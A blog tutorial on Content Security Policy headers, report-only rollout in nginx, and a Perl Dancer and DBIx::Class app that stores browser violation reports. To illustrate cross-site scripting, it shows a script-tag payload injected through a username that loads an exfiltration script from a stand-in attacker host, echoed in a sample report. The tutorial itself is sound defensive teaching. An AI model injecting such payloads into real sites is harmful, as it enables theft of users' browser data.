Planning a Content-Security-Policy with Dancer

The same-origin policy is a fundamental part of the security infrastructure of the web. It prevents a web site’s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank’s website gives you some data, it can only be accessed by your bank’s website, and not by scripts from other websites.

That’s a nice theory, it’d be a shame if some evidence happened to it.

In the real world, attackers have found ways to get around the same-origin policy to gain access to data they’re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage – perhaps a username. Well, if your username is <script type="text/javascript" src="http://evil.attacker.com/exfiltrate_browser_data.js"></script>, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter Content Security Policy.

Content Security Policy

Because the browser can’t tell the difference between scripts purposefully included, and those injected by an attacker, a new approach is required. Mozilla has proposed a Content Security Policy (CSP), which has recently moved from being a W3C “Working Draft” to a “Candidate Recommendation.” It also restricts allowable origins, like the same-origin policy, but instead of having an implicit origin, the whitelist is explicit. This makes the protection CSP affords us both stricter and more flexible than the same-origin policy for protecting against Cross-Site Scripting (XSS).

The Content-Security-Policy HTTP header is included with each HTTP response. The value of the header indicates which origins are permitted for several categories of content. You can restrict the javascript that gets loaded to one set of origins, but permit images from a different set of origins. Here’s an example that allows scripts from the same origin, and from Google: Content-Security-Policy: script-src 'self' https://ajax.googleapis.com Note that you can specify the protocol – this rule wouldn’t permit loading Google scripts over HTTP.

If your webpage attempts to load resources which would violate the Content Security Policy, browsers which support it will refuse to do so, giving an error in the console. But, before you go blocking resources in your website, you’ll need to determine what origins to allow. That means auditing your whole website so you know what’s there, and don’t inadvertently block something that’s required. There is a reporting-only mode that can help you to roll out new policies.

Reporting CSP violations

The Content-Security-Policy-Report-Only header does what you think – instead of enforcing a policy, it simply reports on it.

Both the CSP and CSP-Report-Only headers can specify report-uri, which is the location where browsers can automatically report CSP violations. The report will be POSTed with a JSON payload detailing the request and the violation:

{
  "csp-report": {
    "document-uri": "http://hashbang.ca",
    "referrer": "http://evil.attacker.com",
    "blocked-uri": "http://evil.attacker.com/exfiltrate_browser_data.js",
    "violated-directive": "script-src 'self' https://ajax.googleapis.com",
    "original-policy": "script-src 'self' https://ajax.googleapis.com; report-uri http://hashbang.ca/csp"
  }
}

This lets you test out the effects of a policy before enforcing it. Violations will be reported, letting you know what work you need to do to fix the issues – either adjusting the policies, or adjusting the webpages.

You can set both headers, letting you manage changes to your policies. For example, you might enforce a lax policy with Content-Security-Policy, and test out a stricter one with Content-Security-Policy-Report-Only. Once you fix any issues the stricter policy poses, switch to enforcing that one. Wash, rinse, repeat.

Configuring a Content Security Policy with nginx

The ngx_http_headers_module module allows adding arbitrary fields to a response header. Here’s an example policy I tested with:

add_header "Content-Security-Policy-Report-Only" "default-src 'self'; img-src *; style-src 'unsafe-inline' 'self'; script-src 'unsafe-inline' 'self'; report-uri http://csp.hashbang.ca;";

This policy permits unsafe inline CSS and JS. Disallowing those is one of the major strengths of a content security policy, so you should not do this. However, the point of this exercise is to start with a permissive policy, and move towards a stricter and safer one. This will be a good first step.

Tracking violations with Dancer

I wanted to try a report-only policy for this blog, so I needed a way to accept the reports. Naturally, I reached for my Modern Perl toolkit – Dancer and DBIx::Class in this case.

DBIx::Class schema

The JSON payload suggests an obvious schema:

package WWW::CSP::Schema::Result::Report;
use strict;
use warnings;
use base qw( DBIx::Class::Core );
use DateTime;

__PACKAGE__->table('report');
__PACKAGE__->load_components( qw/InflateColumn::DateTime/ );
__PACKAGE__->add_columns(
    report_id => {
        accessor    => 'id',
        data_type   => 'integer',
        is_numeric  => 1,
        is_nullable => 0,
        is_auto_increment => 1,
    },
    report_uri => {
        accessor    => 'uri',
        data_type   => 'varchar',
        size        => 2048,
    },
    report_referrer => {
        accessor    => 'referrer',
        data_type   => 'varchar',
        size        => 2048,
        is_nullable => 1,
    },
    report_blocked_uri => {
        accessor    => 'blocked_uri',
        data_type   => 'varchar',
        size        => 2048,
    },
    report_violated_directive => {
        accessor => 'violated_directive',
        data_type => 'varchar',
        size => 2048,
    },
    report_original_policy => {
        accessor    => 'original_policy',
        data_type   => 'varchar',
        size        => 2048,
    },
    report_timestamp => {
        accessor    => 'timestamp',
        data_type   => 'datetime',
        timezone    => 'UTC',
    },
);
__PACKAGE__->set_primary_key(qw/ report_id /);

1;

A timestamp column is the only addition to the data from the JSON payload. InflateColumn::DateTime makes handling date/time data easy. Give a DateTime object, and it’ll be converted before being saved to the database; upon retrieval, the stored data is inflated into a DateTime object with the right time zone, etc.

Accepting submissions with Dancer

Now we can use the DBIx::Class plugin for Dancer to create a quick-n-dirty web application to accept submissions.

In the application, we can just create a new object (which automatically gets saved in the database) out of the POST data:

package WWW::CSP::Receive;
use Dancer ':syntax';
use Dancer::Plugin::DBIC 'schema';

post '/csp' => sub {
    my $json = param('csp-report'); # already deserialized for us!
    my $new_report = schema->resultset('Report')->create({
        report_uri                  => $json->{'document-uri'},
        report_referrer             => $json->{'referrer'},
        report_blocked_uri          => $json->{'blocked-uri'},
        report_violated_directive   => $json->{'violated-directive'},
        report_original_policy      => $json->{'original-policy'},
        report_timestamp            => DateTime->now,
    });
    return { success => 1 }; # automatically serialized for us!
};

This is probably enough, but I also wanted to allow retrieving data, in the same format as it was submitted. So, when a report is POSTed, we’ll send a reply including the report’s ID:

return { success => 1, report_id => $new_report->id };

To permit report retrieval, we need to return a JSON payload containing the data that was originally submitted. To make life easier, let’s fetch the requested report and let Dancer handle serialization. Simply turn convert_blessed on in the Dancer configuration:

engines:
    JSON:
        convert_blessed: '1'

Now, if we add a TO_JSON (see convert_blessed) method in the Report class, those objects will be automatically serialized for us:

sub TO_JSON {
    my $self = shift;
    return { 'csp-report' => {
        'document-uri'          => $self->uri,
        'referrer'              => $self->referrer,
        'blocked-uri'           => $self->blocked_uri,
        'violated-directive'    => $self->violated_directive,
        'original-policy'       => $self->original_policy,
    }};
}

In the Dancer application, retrieve and return it, if possible:

get '/:report_id' => sub {
    my $report = schema->resultset('Report')->find({ report_id => param('report_id') });
    return $report || send_error({ error => 'notfound' });
};

We can also make the object construction easier, in case we want to re-use the code elsewhere. I added a create_FROM_JSON method in the ResultSet class:

use WWW::CSP::Schema::Result::Report ();
sub create_FROM_JSON {
    my $rs = shift;
    return $rs->create( WWW::CSP::Schema::Result::Report->FROM_JSON(@_) );
}

And added a FROM_JSON method in the Result class, which returns an unblessed hashref of the data required to pass to the create method as shown in the snippet above.

use DateTime;
sub FROM_JSON {
    my $class = shift;
    my $json  = shift;
    $json     = $json->{'csp-report'} if exists $json->{'csp-report'};
    return {
        report_uri                  => $json->{'document-uri'},
        report_referrer             => $json->{'referrer'},
        report_blocked_uri          => $json->{'blocked-uri'},
        report_violated_directive   => $json->{'violated-directive'},
        report_original_policy      => $json->{'original-policy'},
        report_timestamp            => DateTime->now,
    }
};

Now, we can simplify the POST route in the Dancer application:

use Try::Tiny;
post '/csp' => sub {
    try {
        my $new_report = schema->resultset('Report')->create_FROM_JSON( param('csp-report') );
        return { success => 1, report_id => $new_report->id };
    }
    catch {
        error $_;
        send_error({ error => $_ });
    };
};

Tracking client IPs

We might want to track who is sending the report, so let’s add a new column in our schema for that:

    report_reporter_ip => {
        accessor    => 'reporter_ip',
        data_type   => 'varchar',
        size        => '15',
        is_nullable => 1,
    },

To actually get the IP, we’ll simply use request->address and pass it on up the line.

In the Dancer application:

        my $new_report = schema->resultset('Report')->create_FROM_JSON(
            ip   => request->address,
            json => param('csp-report'),
        );

In the ResultSet:

    return $rs->create({
        %{ WWW::CSP::Schema::Result::Report->FROM_JSON( $args{json} ) },
        report_reporter_ip => $args{ip},
    });

I didn’t include the IP in the TO_JSON method, because I want this data to be private after collection.

In my case, the application will be running behind an nginx reverse proxy, so I needed to add Plack::Middleware::ReverseProxy to the production.yml config.

Summary

The Content-Security-Policy header will be an important part of the security-conscious web developer’s repertoire because it can lock down common attack vectors in a highly configurable manner. The report-uri directive allows us to monitor violations of the configured policy, test and enforce two policies simultaneously for iterative development, or plan a content security policy. Web browsers supporting CSP will send reports to the specified location. The application developed here is a simple way to collect such reports. The code is available on Github. An obvious next step would include visualization of the submitted reports.

Further reading